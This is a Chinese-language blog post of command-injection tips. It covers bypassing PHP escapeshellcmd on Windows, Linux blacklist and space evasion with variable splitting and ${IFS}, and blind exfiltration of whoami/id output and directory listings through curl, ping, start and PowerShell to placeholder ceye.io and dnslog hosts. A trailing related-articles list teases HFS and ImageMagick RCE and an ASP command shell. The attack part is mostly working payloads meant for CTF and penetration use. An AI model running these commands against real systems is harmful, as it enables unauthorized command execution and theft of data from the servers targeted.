命令执行的tip

先看一个例子:
本地测试环境:php 5.4.45 + win

<?php
    $command = ‘dir ‘.$_POST[‘dir‘];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents(‘out.bat‘,$escaped_command);
    system(‘out.bat‘);
?>

应该如何去绕过执行?

escapeshellcmd

http://php.net/manual/zh/function.escapeshellcmd.php

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

具体会转义哪些字符?

https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c

这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。

有这样的一个tip:执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

更多好玩的命令绕过

linux下面tip特别多,在实战或者ctf中遇到最多的几个。
1、黑名单绕过

执行ls命令:
a=l;b=s;$a$b

cat hello文件内容:
a=c;b=at;c=he;d=llo;$a$b ${c}${d}

2、空格绕过

绕过空格
${IFS}

或者在读取文件的时候利用重定向符
<>

最后就是别人fuzz的一个命令执行项目:
https://github.com/ewilded/shelling

3、无回显
无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一般可以用dns/http通道来获取数据。

linux:

curl xxxx.ceye.io/`whoami`
ping -c 1 `whoami`.xxxx.ceye.io

可以获取数据,当前权限是root

但是有一个特别恼火的事情就是特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64

curl http://xxxx.ceye.io/$(id|base64)



windows:
windows下很头疼,用起来并没有linux那么方便好用,比如curl、wget等等。

http请求:
for /F %x in (‘whoami‘) do start http://xxx.ceye.io/%x

dns请求:
获取计算机名:for /F "delims=\" %i in (‘whoami‘) do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims=\ tokens=2" %i in (‘whoami‘) do ping -n 1 %i.xxx.dnslog.info

powershell这么厉害,为啥不用它来base64一下数据。

for /F %x in (‘whoami‘) do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(‘%x‘));$b=New-Object System.Net.WebClient;$b.DownloadString(‘http://xxx.ceye.io/‘+$a);

这样就也能获取到一个base64编码到命令结果啦~算是弥补一个小小的坑。

ps:这个是用powershell2.0写的,其他版本未测试。

但是如果没有powershell想要获取更多数据的话,还是比较麻烦的。

比如获取d:\所有文件,遇上空格也是会被截断。

for /F %x in (‘dir /b D:\‘) do start http://xxx.ceye.io/%x

4、借他人之手来获取字符
如果过滤了<>?,可以从已有的文件中获取自己需要的字符。

=。=,当然如果服务器能外网的话,直接wget -o /tmp 就好了。

时间: 2024-11-07 11:55:54

命令执行的tip的相关文章

回顾HFS 2.3x 远程命令执行,抓鸡黑客的“末日”(CVE2014-6287)

去年HFS 2.3x 远程命令执行让很多人遭殃了,尤其是一部分黑客,因为很多批量养鸡的黑客都爱用它,于是乎,辛辛苦苦抓的肉鸡就与人分享了.我们分析漏洞得知由于正则表达式的问题,导致了远程代码的执行. 下面我们来本地测试一下这个漏洞的威力,为什么过了大半年还提它?因为今天随便搜了一下,用这个版本的国内还有很多,涉及到部分"抓鸡黑客"(现在还在用这个版本的估计是小菜),学校等.有趣的是,用hfs的服务器一般都开启了3389,罪恶啊.如下图. google上可以搜到更多的主机. 随便测试几个

ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞. 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的. 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商.我们先来分析一下它出现的原

我是如何从一个xss到某个浏览器的远程命令执行

0x01 前言:其实我是个小白平时就喜欢瞎搞,无意间碰到一个浏览器就想一探究竟,好了废话不多说开始!!! 0x02 可以看到我打开的新标签是怎么一个链接页面,既然是页面我是不可以XSS它呢? 于是我就打开了控制器输入XSS代码如下图: 输入payload发现能成功弹窗,我们来假设如果这个浏览器的本地域既然能弹XSS是不可以弹出其他的呢? 没错确实能弹出其他的,如图: 没错我弹出了他的CMD窗口,我们来ipconfig一下 可以看到成功弹出了,我们再来弹出它的计算器试试如图: 是不是很神奇就出来了

Metasploit溢出java RMI SERVER命令执行漏洞

利用java RMI SERVER命令执行漏洞,获得目标主机root权限. Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行. 一.利用nmap工具扫描目标主机 1.1使用nmap命令对目标主机进行扫描.单击桌面空白处,右键菜单选择"在终端中打开". 1.2在终端中输入命令"nmap –sV  192.168.1.3",对目标主机进行端口扫描,发现开放1099端口. 1.3在终端中输入命令"msfco

[转]Windows中的命令行提示符里的Start命令执行路径包含空格时的问题

转自:http://www.x2009.net/articles/windows-command-line-prompt-start-path-space.html 当使用Windows 中的命令行提示符执行这段指令时(测试Start命令执行带空格的路径的程序或文件问题),第一行Start会成功执行,跳出记事本程序,而第二行,会 Start跳出一个新的命令提示符,标题上写着路径,但是不会执行任何命令,第三行Start命令行提示符会提示C:\Program文件不存在,提示无 法执行. start

Linux命令执行顺序— ||和&amp;&amp;和; 比较

Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2. command1;command2: 命令顺序执行 //第一个命令执行不成功,第二个命令才执行 [[email

CentOS 7.3验证Linux命令执行的优先级

在Linux中,不同的目录下可能有相同的文件.虽然同名,两个文件的作用却完全不同. 执行同一命令,可能会显示完全不同的结果.如pwd本来显示当前工作目录,我们却可以定义别名使它输出时间. 要了解命令执行的先后顺序,首先我们要明白内部命令和外部命令的不同.使用type command可以查看命令类型. 我们可以看到以上四个命令的显示结果是完全不同的. 这里pwd是内部命令,cal是hash(缓存)命令,ls是别名,date则是外部命令. 这里要引进一个变量PATH,通过echo,我们可以查看变量P

bash的工作特性之命令执行返回值和命令展开的内容及练习示例

命令执行返回值: hell中,$? 就是上一个执行命令或的返回码, 例如   执行命令xxxxx echo $?  就输出了执行命令xxxxx的返回码,当然也可以把$?保存到一个变量中,用于后续的计算或者其他判断逻辑. 通过 $? 获取上一次命令执行的结果,0表示成功,非0表示失败. 命令展开: (1)创建/tmp目录下的:a_c, a_d , b_c, b_d (2)创建/tmp/mylinux目录下的:

ASP代码审计 -4.命令执行漏洞总结

命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip") response.write server.createobject("wscript.shell").exec("cmd.exe /c ping "&ip&"").stdout.readall %> 利用方式: http: